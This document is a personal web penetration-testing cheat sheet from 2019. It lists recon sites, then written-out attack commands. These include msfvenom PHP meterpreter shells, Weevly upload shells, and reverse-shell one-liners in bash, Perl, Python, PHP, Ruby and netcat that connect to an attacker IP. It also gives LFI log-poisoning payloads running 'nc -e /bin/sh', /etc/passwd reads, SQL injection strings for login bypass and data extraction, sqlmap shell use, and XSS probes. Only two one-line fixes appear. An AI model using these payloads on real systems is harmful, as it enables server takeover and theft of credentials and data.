Faisalfs10x 9/10/2019

webbugTIPS (Information Gathering)

1. http://whois.domaintools.com = find owner target
2. https://toolbar.netcraft.com/site_report?url = show technology used on target
3. https://www.robtex.com = show comprehensive info target
4. Discovering Websites On The Same Server = bing ip:103.198.52.156 php?id
5. Find subdomain (subdomain.target.com) = git clone https://github.com/guelfoweb/knock.git
6. Find file/directory in target website by [dirb http://what.com.my /root/usr/share/wlist.txt]. Try find [php.info, robots.txt, config.inc] for specific target info.
7. Maltego - Discovering Websites, Hosting Provider & Emails, Servers, Domains & Files.

File Upload Vulnerabilities – allow upload malicious file such as php shell.

1. Metasploit Command: msfvenom -p php/meterpreter/bind_tcp LPORT=4444 LHOST=192.168.169.137 > /root/shell1.php
2. Metasploit listener: use exploit/multi/handler; set payload php/meterpreter/bind_tcp; set RHOST <target-ip>; set RPORT 4444; run
3. Upload Weevly shell. [weevly generate p@55w0rd! shell.php]. Open the url to activated.
4. Connect to weevly terminal. [weevly http://test.com.my/upload p@55w0rd!]
5. Intercept and modify parameter with burpsuite.
6. How2fix: check validation of format, recreate img and rename img.

Code Execution Vulnerabilities – allow execution of OS command such as ping, ls, pwd.

1. The following examples assume the hacker IP is 10.20.14 and use port 8080 for the connection. Therefore in all these cases you need to listen for port 8080 using the following command [nc -vv -l -p 8080]

2. BASH = bash -i >& /dev/tcp/10.20.14.203/8080 0>&1
3. PERL= perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4. Python = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5. PHP = php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
6. Ruby = ruby -rsocket -e'f=TCPSocket.open("10.20.14",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
7. Netcat = nc -e /bin/sh 10.20.14 8080

Local File Inclusion Vulnerabilities (LFI) – allow read file on same server, access file outside www dir.

1. Check for [../../../../etc/passwd] and copy the passwd hashes.
2. Gain access method#1. Check for [../../../../proc/self/environ] and modify burpsuite Headers Tab>user Agent value from Mozilla to [<?passthru(“nc -e /bin/sh attackerIP attackerPort”);?>] and set listener to [nc -vv -l -p 8888] on terminal.
3. Gain access method#2. Check for [../../../../var/log/auth.log] and do SSH by [ssh “<?passthru(base64_decode(‘nc -e /bin/sh attackerIP attackerPort in base64ofgilberish’));?>”@attackerIP] and set listener nc in terminal.

Remote File Inclusion Vulnerabilities (RFI) – allow access file from other host.

1. How2fix: prevent RFI by disable allow_url_fopen & allow_url_include in /etc/php5/cgi/php.ini.

SQLI Vulnerabilities - SQLi In Login Pages – use burpsuite to verify if it filters on client side or server side.

1. [WEAK codepractise] Discover POST try use [and, order by, ‘] and check for error handling. [123456’ and 1=1#]
2. [WEAK codepractise] Try [(admin)/(admin’ #); aaa’ or 1=1 #]
3. [BETTER codepractise] if client side filter, try modify parameter> password in burpsuite.

SQLI Vulnerabilities - Extracting Database

1. Discover GET(viewatURL) by execute at URL using [admin’ order by 1#] # change to %23 to check how many columns are there in db.
2. If there are 5 colums then use [union select 1, database(), user(), version(), 5]

SQLI Vulnerabilities - Advanced Exploitation – blind sqli mean not show any error msg

1. Check manually for blind sqli in URL for TRUE [1’ and 1=1%23], FALSE [1’ and 1=0%23].
2. TRUE [1’ order by 1%23], FALSE [1’ order by 1000000000%23].
3. TRUE [1’ union select table_name,2 from information_schema.tables%23].
4. [1’ union select null,load_file(‘/etc/passwd’),null,null,null%23].
5. Sqlmap -u http://injectablelink.com.org . use ‘--sql-shell’ parameter to run sql command.

XSS Vulnerabilities

1. Try basic [<script>alert(“testedXSS”)</script>]
2. If filter, try more [<sCripT>alert(“testedXSS”)</scRipt>]
3. Refer https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
4.
5.